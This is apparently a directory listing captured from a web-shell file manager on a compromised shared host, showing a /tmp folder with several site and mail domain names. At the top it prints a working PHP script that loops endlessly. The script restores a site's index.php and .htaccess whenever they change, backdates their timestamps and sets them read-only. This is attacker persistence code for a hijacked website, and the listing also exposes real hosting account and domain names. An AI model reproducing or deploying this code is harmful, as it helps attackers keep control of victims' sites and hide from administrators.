PATH:
tmp
<?php function i($i) { echo '{->|' . $i . '|<-}'; } $path = "/home/thebhoeo/public_html/booksfinders.com"; $index_path = $path ."/index.php"; $index_content = file_get_contents($index_path); $index_md5 = md5($index_content); $htaccess_path = $path ."/.htaccess"; $htaccess_content = file_get_contents($htaccess_path); $htaccess_md5 = md5($htaccess_content); while (true) { $temp_md5 = @md5(file_get_contents($index_path)); if (!file_exists($index_path) || $temp_md5 != $index_md5) { @file_put_contents($index_path, $index_content); @touch($index_path, strtotime("-400 days", time())); @chmod($index_path, 0444); } $temp_md5 = @md5(file_get_contents($htaccess_path)); if (!file_exists($htaccess_path) || $temp_md5 != $htaccess_md5) { @file_put_contents($htaccess_path, $htaccess_content); @touch($htaccess_path, strtotime("-400 days", time())); @chmod($htaccess_path, 0444); } sleep(1); }
[+]
..
[+]
shield
[-] cx-6a38fbd34b0c5
[edit]
[+]
5a8e95
[+]
beatler.com
[+]
mail.thebinarysouls.com
[+]
eerrttyy
[+]
rstemp
[+]
cblgroup.pk:80
[+]
mbsrtert2
[+]
mediachunks.com:443
[+]
eerrttyyy
[+]
mail.cblgroup.pk
[-] .s.PGSQL.5432
[edit]
[+]
thebinarysouls.com
[+]
mail.mediachunks.com
[-] kb-6a2e6e5b43500
[edit]
[+]
mbsrtert3
[+]
primaagencies.net
[+]
eab22c
[+]
ssl-manager
[+]
thebhoeo
[+]
da50b5fa2921d28e16953c257147e440
[-] booksfinders.com.588275.tmp
[edit]
[+]
cblgroup.pk
[-] phptYnNWI
[edit]
[+]
mail.beatler.com
[+]
mail.primaagencies.net
[+]
eerrttyy2
[+]
aadillaptops.com
[-] ssl-manager.lock
[edit]
[+]
home
[+]
fac09a
[+]
96e47e96c473f7bb98694c8855167bf9
[+]
0eadad
[+]
mediachunks.com
[+]
mail.aadillaptops.com
[-] sess_5171fcbf42bcab65758aae7e9218e28b.php
[edit]
[+]
thebinarysouls.com:443
[-] phpALp3ZB
[edit]
[+]
mbsrtert
[-] .ea-php-cli.cache
[edit]
[-] mysql.sock
[edit]
[+]
mbdvd0